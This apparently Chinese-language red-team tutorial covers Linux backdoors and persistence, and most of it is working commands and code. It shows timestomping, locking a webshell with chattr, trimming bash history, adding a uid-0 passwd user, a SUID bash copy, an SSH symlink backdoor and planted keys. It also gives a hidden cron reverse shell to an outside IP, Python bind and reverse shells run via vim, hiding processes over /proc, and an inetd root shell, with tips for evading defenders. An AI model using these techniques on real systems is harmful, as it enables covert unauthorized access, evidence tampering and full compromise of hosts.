修改文件/终端属性
文件创建时间
如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就 可以判断shell.php的生成时间有问题
修改文件时间
1
| touch -r index.php shell.php
|
touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立 一个新的文件。
文件锁定
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是 查看不出来的,从而达到隐藏权限的目的。
1 2 3 4 5
| chattr +i evil.php rm -rf evil.php lsattr evil.php chattr -i evil.php rm -rf evil.php
|
历史操作命令
只针对你的工作关闭历史记录
要重新开启历史功能,执行下面的命令:
从历史记录中删除指定的命令
搜索
1
| history | grep "keyword"
|
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项
删除大规模历史操作记录,这里,我们只保留前150行:
1
| sed -i '150,$d' ~/.bash_history
|
passwd增加用户
1 2 3 4
| /etc/passwd 各部分含义: 用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL root:x:0:0:root:/root:/bin/bash
|
1 2 3 4 5 6
| /etc/shadow 各部分含义: 用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周 期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
root:$6$6.imW5Ld$qNRtolNQ3MShopajilTqD89NmsGpVDKE08.Hno.ac6/nfbXia3HBjZT6r7/WtC3CoUUCRfDwOF2cFpKLORYk81:18920:0:99999:7:::
|
写入举例:
1 2 3
| $perl -le 'print crypt("123456","salt")' sahL5d5V.UWtI $echo "dis:sahL5d5V.UWtI:0:0:/root:/bin/bash" >> /etc/passwd
|
suid后门
当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以 root身份执行的。必要条件:
1 2 3 4
| 1、SUID权限仅对二进制程序有效。 2、执行者对于该程序需要具有x的可执行权限 3、本权限仅在执行该程序的过程中有效 4、在执行过程中执行者将具有该程序拥有者的权限
|
创建suid权限的文件
1 2 3
| cp /bin/bash /tmp/.woot chmod 4755 /tmp/.woot ls -al /tmp/.woot
|
执行
1 2
| ./tmp/.woot ./tmp/.woot -p
|

ssh后门
SSH 软连接后门
漏洞原理
主要是pam_rootok.so模块造成的漏洞
pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。
1 2 3
| 1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。
2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。
|
1 2 3
| 通俗点来说, 是sshd服务启用了PAM认证机制,在/etc/ssh/sshd_config文件中,设置UsePAM 为yes。如果不启用PAM,系统严格验证用户密码,不能建立后门。 在/etc/pam.d/目录下,对应文件里包含"auth sufficient pam_rootok.so"配置,只要PAM配置文件中包含此配置即可SSH任意密码登录。
|
测试
使用ln命令创建root账户 ssh软链接后门命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
ln -sf /usr/sbin/sshd /usr/local/su 这部分命令使用 ln 命令创建一个符号链接。它将 /usr/local/su 设置为指向 /usr/sbin/sshd 的符号链接。这意味着如果你执行 /usr/local/su,实际上会启动 /usr/sbin/sshd -s:表示创建符号链接。 -f:表示如果 /usr/local/su 已经存在,则强制覆盖它。
/usr/local/su -oPort=12345 前面那条命令创建了一个符号链接/usr/local/su指向了/usr/sbin/sshd,通俗的来讲执行/usr/local/su就相当于是在执行/usr/sbin/sshd 那/usr/local/su -oPort=12345就相当于在执行/usr/sbin/sshd -oPort=12345 -oPort=12345:通过 -o 指定了一个配置参数。在这里,Port=12345 意味着将监听端口设置为 12345,而不是默认的 SSH 端口(通常是 22) 简单的来说这个命令将启动 SSH 服务器,并使其监听在端口 12345 上,从而允许客户端连接到该服务器。
/usr/local/su 软连接 链接名是自定义的随便什么都可以(只要你写后面的时候你觉得够隐秘就可以)
|
1
| ssh root@192.168.59.119 -p12345
|

SSH 公钥免密码登陆
1 2
| ssh-keygen -t rsa //生成公钥 cat id_rsa.pub > authorized_keys //将id_rsa.pub内容放到目标.ssh/authorized_keys里
|
攻击机
1 2
| chmod 600 id_rsa ssh -i id_rsa root@192.168.59.119
|

Cron机制安装后门
Cron是ubuntu下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照 一定时间执行某一个任务。它是一项服务,你可以使用基本的服务查看状态命令等查看信息。
查看普通用户的执行计划。
编辑任务
把反弹shell加入计划任务里执行
1
| (crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.79.3/2334 0>&1';\r%100c\n")|crontab -
|
1 2 3
| cat /var/spool/cron/crontabs/root root是计划任务的文件 使用cat是看不到内容的 因为是用了某些特殊字符 导致某些内容被隐藏 可以使用 crontab -e 编辑任务可以看到反弹shell的内容
|
vim python 扩展后门
写入后门
正向后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from socket import * import subprocess import os import threading import sys import time
if __name__ == "__main__": try: server = socket(AF_INET, SOCK_STREAM) server.bind(('0.0.0.0', 11)) server.listen(5) print('Waiting for connection on port 11...') talk, addr = server.accept() print('Connection from', addr) proc = subprocess.Popen(["/bin/sh", "-i"], stdin=talk, stdout=talk, stderr=talk, shell=True) proc.wait() except Exception as e: print(f"Error: {e}") finally: try: talk.close() server.close() except: pass
|
反向后门
1 2 3 4 5 6 7
| import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.187.78", 6666)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"])
|
执行后门
1 2
| vim -E -c "py3file shell.py" //-E是启动一个改进的Ex模式(也就是命令模式),-c是去加载一个文件,并去执行。
|
但是这样的后门太明显了,netstat -anpt 一查就可以看到,而且 vim -E -c “py3file shell.py” 命令执行之后,还会有一个空白窗口

隐藏后门
1、vim -E -c “py3file shell.py” 命令启动的时候不显示该窗口
2、将netstat -anpt 查看到的可疑连接隐藏起来
vim -E -c “py3file shell.py” 命令启动的时候不显示该窗口,解决方法:
1 2 3 4
| (nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) #将nohup的执行结果输出到/dev/null中 #其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。 #“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。
|
将netstat -anpt 查看到的可疑连接隐藏起来,解决方法:
既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上
1
| (nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py
|
隐藏进程命令
1 2 3 4 5 6
| mkdir null mount --bind null /proc/2782 netstat -anpt
|

inetd服务后门
inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。
当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的
这个socket交给那个程序去处理。
所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。
1 2 3 4 5 6 7 8 9 10
| 开启inetd inetd 添加默认端口 /etc/services woot 9999/tcp 然后修改/etc/inetd.conf : woot stream tcp nowait root /bin/bash bash -i 我们可以修改成一些常见的端口,以实现隐藏。 开启inetd inetd
|

参考链接
ssh软链接后门
https://mp.weixin.qq.com/s/clSHwC9ZNF_FXEF0ZDAawA
ssh 公钥免密
https://blog.csdn.net/weixin_40412037/article/details/118305343
inetd服务后门
https://blog.csdn.net/qq_50854790/article/details/123014484
vim python 扩展后门
https://blog.csdn.net/weixin_40412037/article/details/119379149